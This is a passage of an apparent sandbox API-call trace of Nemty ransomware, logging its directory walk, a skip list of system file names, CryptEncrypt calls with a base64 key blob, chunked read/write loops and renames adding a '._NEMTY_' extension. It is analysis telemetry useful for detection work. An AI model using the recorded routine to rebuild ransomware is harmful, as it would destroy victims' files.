returned 0x6340410 [0140.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_right.png._nemty_kgobjgd_")) returned 0 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0140.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0140.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0140.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0140.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0140.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.537] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9c6fdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="..") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="...") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="windows") returned -1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="$RECYCLE.BIN") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="rsa") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="NTDETECT.COM") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="ntldr") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="MSDOS.SYS") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="IO.SYS") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="boot.ini") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="boot.ini") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="AUTOEXEC.BAT") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="ntuser.dat") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="desktop.ini") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="CONFIG.SYS") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="RECYCLER") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="BOOTSECT.BAK") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="bootmgr") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="programdata") returned 1 [0140.537] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="appdata") returned 1 [0140.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_disabled.png", lpUsedDefaultChar=0x0) returned 26 [0140.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0140.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_disabled.png", lpUsedDefaultChar=0x0) returned 26 [0140.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0140.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0140.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_disabled.png", lpUsedDefaultChar=0x0) returned 26 [0140.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0140.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_disabled.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_disabled.png", lpUsedDefaultChar=0x0) returned 26 [0140.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0140.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0140.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0140.538] Sleep (dwMilliseconds=0x5) [0140.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x76c6970, dwHighDateTime=0x1d561e8)) [0140.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x76c6970, dwHighDateTime=0x1d561e8)) [0140.554] GetLastError () returned 0x5 [0140.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0140.554] GetLastError () returned 0x5 [0140.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0140.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0140.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.554] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0140.554] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0140.554] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0140.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0140.554] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="AfAjDjbPg8KHEXc25c3YhIHfunidhzYAqu02K8Jz01wRKMdFphUvHV5CVnakD5mC\r\nKKorOP5nSl45sjhuEWhO52R6cY7bXIqfOy5n4wwMBbui61FJHsmlhPUcLfz88Kng\r\n8Ka2pac9VZ3qjk86YElg+hIYfa9idLpJ8ks3oEVkxvRhyIRMcggL0CFZ0Y8NsUpG\r\n8ZSYcrPPiqQPhM4X+wZM/3dhRfVofwzWLI+PBfKNzmPCDWyLNlO7H5zZoFbGnSYZ\r\nn/QAkkK2JqhmW8OksWTP/HeLvCs0tdookLaJa4V17vqr9EekXnHdH2f9Tp3pdZua\r\nkEPXQvHthDkO3LziVRALRw==\r\n", pcchString=0x653e91c) returned 1 [0140.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0140.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0140.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0140.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0140.554] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_disabled.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0140.555] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0140.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0140.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0140.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0140.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0140.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0140.660] CloseHandle (hObject=0xffffffff) returned 0 [0140.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0140.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0140.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0140.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0140.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0140.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0140.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0140.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0140.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0140.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_disabled.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_disabled.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_disabled.png._nemty_kgobjgd_")) returned 0 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0140.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0140.661] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cd5742, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cd5742, ftLastAccessTime.dwHighDateTime=0x1ca0403, 